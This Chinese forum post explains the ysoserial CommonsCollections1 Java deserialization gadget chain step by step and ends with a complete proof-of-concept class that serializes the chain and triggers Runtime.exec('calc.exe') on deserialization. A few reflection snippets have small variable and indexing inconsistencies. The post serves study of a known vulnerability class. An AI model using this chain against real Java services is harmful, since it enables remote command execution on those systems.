ysoserial CommonsCollections1

打印 上一主题 下一主题

主题 1714|帖子 1714|积分 5142

  1. /*
  2.     Gadget chain:
  3.         ObjectInputStream.readObject()
  4.             AnnotationInvocationHandler.readObject()
  5.                 Map(Proxy).entrySet()
  6.                     AnnotationInvocationHandler.invoke()
  7.                         LazyMap.get()
  8.                             ChainedTransformer.transform()
  9.                                 ConstantTransformer.transform()
  10.                                 InvokerTransformer.transform()
  11.                                     Method.invoke()
  12.                                         Class.getMethod()
  13.                                 InvokerTransformer.transform()
  14.                                     Method.invoke()
  15.                                         Runtime.getRuntime()
  16.                                 InvokerTransformer.transform()
  17.                                     Method.invoke()
  18.                                         Runtime.exec()
  19.     Requires:
  20.         commons-collections
  21. */
复制代码
0、先假设Runtime类可序列化,最终要实现:
  1. Runtime runtime = Runtime.getRuntime();
  2. runtime.exec("calc.exe");
复制代码
1、从最后一步开始,调用InvokerTransformer.transform()
  1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  2.         super();
  3.         iMethodName = methodName;
  4.         iParamTypes = paramTypes;
  5.         iArgs = args;
  6.     }<br>
复制代码
  1. public Object transform(Object input) {<br>    if (input == null) {<br>        return null;<br>    }<br>    try {<br>        Class cls = input.getClass();<br>        Method method = cls.getMethod(iMethodName, iParamTypes);<br>        return method.invoke(input, iArgs);<br>            <br>    } catch (NoSuchMethodException ex) {<br>        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");<br>    } catch (IllegalAccessException ex) {<br>        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");<br>    } catch (InvocationTargetException ex) {<br>        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);<br>    }<br>}
复制代码
  1.  
复制代码
transform方法实现了完整的反射,通过InvokerTransformer构造方法传入方法和参数。
所以这一步的利用链
  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
复制代码
2、InvokerTransformer的transform的调用,在ChainedTransformer的transform实现。
public ChainedTransformer(Transformer[] transformers) {
          super();
          iTransformers = transformers;
    }
public Object transform(Object object) {
          for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers.transform(object);
          }
          return object;
}
如果Transformer[]里面的对象是:
Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer
第一次循环:(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环:invokerTransformer.transform(runtime)
所以这一步的利用链:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
        chainedTransformer.transform(1);
3、ChainedTransformer的transform谁来调?LazyMap的get方法存在transform调用(key不存在的时候)。
  1. public class LazyMap
  2.         extends AbstractMapDecorator
  3.         implements Map, Serializable {
  4.     public static Map decorate(Map map, Transformer factory) {
  5.         return new LazyMap(map, factory);
  6.     }
  7.     protected LazyMap(Map map, Transformer factory) {
  8.         super(map);
  9.         if (factory == null) {
  10.             throw new IllegalArgumentException("Factory must not be null");
  11.         }
  12.         this.factory = factory;
  13.     }
  14.     private void writeObject(ObjectOutputStream out) throws IOException {
  15.         out.defaultWriteObject();
  16.         out.writeObject(map);
  17.     }
  18.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  19.         in.defaultReadObject();
  20.         map = (Map) in.readObject();
  21.     }
  22.     //-----------------------------------------------------------------------
  23.     public Object get(Object key) {
  24.         // create value for key if key is not currently in the map
  25.         if (map.containsKey(key) == false) {
  26.             Object value = factory.transform(key);
  27.             map.put(key, value);
  28.             return value;
  29.         }
  30.         return map.get(key);
  31.     }
  32. }
复制代码
通过decorate方法,修改this.factory为chainedTransformer对象,最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);
4、lazyMap的get谁来调用?这里面用的AnnotationInvocationHandler的invoke,该方法存在某个属性的get,属性可通过构造方法改变。
  1. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  2.     private static final long serialVersionUID = 6182022883658399397L;
  3.     private final Class<? extends Annotation> type;
  4.     private final Map<String, Object> memberValues;
  5.     AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
  6.         Class<?>[] superInterfaces = type.getInterfaces();
  7.         if (!type.isAnnotation() ||
  8.             superInterfaces.length != 1 ||
  9.             superInterfaces[0] != java.lang.annotation.Annotation.class)
  10.             throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  11.         this.type = type;
  12.         this.memberValues = memberValues;
  13.     }
  14.     public Object invoke(Object proxy, Method method, Object[] args) {
  15.         String member = method.getName();
  16.         Class<?>[] paramTypes = method.getParameterTypes();
  17.         // Handle Object and Annotation methods
  18.         if (member.equals("equals") && paramTypes.length == 1 &&
  19.             paramTypes[0] == Object.class)
  20.             return equalsImpl(args[0]);
  21.         if (paramTypes.length != 0)
  22.             throw new AssertionError("Too many parameters for an annotation method");
  23.         switch(member) {
  24.         case "toString":
  25.             return toStringImpl();
  26.         case "hashCode":
  27.             return hashCodeImpl();
  28.         case "annotationType":
  29.             return type;
  30.         }
  31.         // Handle annotation member accessors
  32.         Object result = memberValues.get(member);
  33.         if (result == null)
  34.             throw new IncompleteAnnotationException(type, member);
  35.         if (result instanceof ExceptionProxy)
  36.             throw ((ExceptionProxy) result).generateException();
  37.         if (result.getClass().isArray() && Array.getLength(result) != 0)
  38.             result = cloneArray(result);
  39.         return result;
  40.     }
  41.     /**
  42.      * This method, which clones its array argument, would not be necessary
  43.      * if Cloneable had a public clone method.
  44.      */<br><br>
复制代码
因为AnnotationInvocationHandler类非public,通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues,得到对象handler,接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap已经有了,那么应该怎么触发handler执行方法,来调用invoke方法
AnnotationInvocationHandler的readobject方法,存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle
以下是AnnotationInvocationHandler的readobject重写
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         s.defaultReadObject();
  4.         // Check to make sure that types have not evolved incompatibly
  5.         AnnotationType annotationType = null;
  6.         try {
  7.             annotationType = AnnotationType.getInstance(type);
  8.         } catch(IllegalArgumentException e) {
  9.             // Class is no longer an annotation type; time to punch out
  10.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11.         }
  12.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13.         // If there are annotation members without values, that
  14.         // situation is handled by the invoke method.
  15.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16.             String name = memberValue.getKey();
  17.             Class<?> memberType = memberTypes.get(name);
  18.             if (memberType != null) {  // i.e. member still exists
  19.                 Object value = memberValue.getValue();
  20.                 if (!(memberType.isInstance(value) ||
  21.                       value instanceof ExceptionProxy)) {
  22.                     memberValue.setValue(
  23.                         new AnnotationTypeMismatchExceptionProxy(
  24.                             value.getClass() + "[" + value + "]").setMember(
  25.                                 annotationType.members().get(name)));
  26.                 }
  27.             }
  28.         }
  29.     }<br><br>最后AnnotationInvocationHandler对象反序列化,执行readobject也就触发了proxyMap的invoke方法<br>
复制代码

要解决的问题:Runtime类未实现Serializable,需要使用反射调用,反射方法用什么来触发执行?
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
反射方式实现:
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");
反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);
ChainedTransformer中的transform正好实现了这组链的调用
  1. public Object transform(Object object) {
  2.         for (int i = 0; i < iTransformers.length; i++) {
  3.             object = iTransformers[i].transform(object);
  4.         }
  5.         return object;
  6.     }<br><br>所以最后runtime的实现利用链:<br>
复制代码
Transformer[] transformers = {
                  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);
最终实现的利用链:
  1. public class CC1Test3 {
  2.     public static void main(String[] args) throws Exception {
  3.         Class cr = Class.forName("java.lang.Runtime");
  4.         Transformer[] transformers = {
  5.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  6.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  7.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  8.         };
  9.         ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
  10.         ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
  11.         HashMap hashMap = new HashMap();
  12.         LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
  13.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  14.         Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
  15.         declaredConstructor.setAccessible(true);
  16.         InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
  17.         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
  18.         InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
  19.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
  20.         objectOutputStream.writeObject(handle);
  21.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
  22.         objectInputStream.readObject();
  23.     }
  24. }
复制代码

 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

伤心客

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表